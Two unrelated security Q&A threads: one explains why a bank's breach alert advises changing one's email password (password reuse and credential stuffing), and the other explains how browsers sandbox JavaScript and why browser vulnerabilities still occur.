What's the basis for recommending resetting my email password when an unknown account password is compromised? One of the banks that provides identity theft monitoring to accountholders notified me that my email address was included in a recent data breach, along with a password, but without any indication of where this email and password was used.  I asked if they could provide the (already compromised) password so I could find the affected account in my password manager, they said they didn't actually have the password included in the breach (huh?), and recommended I change the password on my email account.  I don't see how changing the password on my email account will counter the compromise of an unknown account.
What's the basis for recommending resetting my email password when an unknown account password is compromised?

This is the entirety of the information in their alert:

Their response to my subsequent inquiry looked like a form letter and didn't answer my question, and included this recommendation:

If you have any affiliation with the website listed in the alert details as the source of the data breach, you should change your account password for that website, and also any of your other passwords that are the same as that password.
If you do not recognize the website listed in the alert details as the source of the breach, then you should change the password for your email account, and also any of your other passwords that are the same as that password.

Which is unhelpful because there is no website listed in the details.  When I asked why they recommend changing the password for my email account they did not respond.

This is the most salient part:

you should change your account password for that website, and also any of your other passwords that are the same as that password.

Many people are not security savvy. Some people reuse the same password across multiple accounts. Like both their email and bank accounts. This is what enables credential stuffing attacks to succeed. This is not saying that you are security naive. If the bank is sending this to everyone affected then they're reasoning that this situation applies to some amount of people involved. Remember that the credential dump included the email address associated with the password. The second attack to attempt would be checking that password against that email account.
I have to send out these notifications from time-to-time. I prefer adding some additional suggested steps:

Change your password for the affected service.
Choose a strong password (password strength advice goes here).
Do not use the same password across multiple services.
Use a password manager (suggestions go here).
Do not use your corporate email address for personal business.

Suggestions 2 and 3 go towards defeating credential stuffing. Suggestion 4 is meant to make suggestions 2 and 3 less painful.


Why is JavaScript "safe" to run in the browser? JavaScript has certain limitations such as preventing reading and writing to disk and not allowing access to other browser windows or domains. But is that all that's needed to prevent malicious code from running?

JavaScript is pretty powerful, and it seems odd that browsers will unquestioningly run all JavaScript code they are given. How is that safe?

The standard is designed to be safe. The implementation may not be.
The browser isolates JavaScript, as it executes within a browser process itself. It cannot do anything which is not permitted by the browser JavaScript interpreter or JIT compiler. However, owing to its complexity, it's not at all uncommon to find vulnerabilities that allow JavaScript to compromise the browser and gain arbitrary code execution with the privileges of the browser process.
Because these types of security bugs are so common, many browsers will implement a sandbox. This is a protection mechanism that attempts to isolate a compromised browser process and prevent it from causing further harm. The way the sandbox works depends on the browser. Firefox has very limited sandboxing, whereas Chrome and Edge have significant sandboxing. However, despite this defense in depth, browser vulnerabilities can often be combined with sandbox escape vulnerabilities.
See https://madaidans-insecurities.github.io/firefox-chromium.html for more information on Firefox vs Chromium.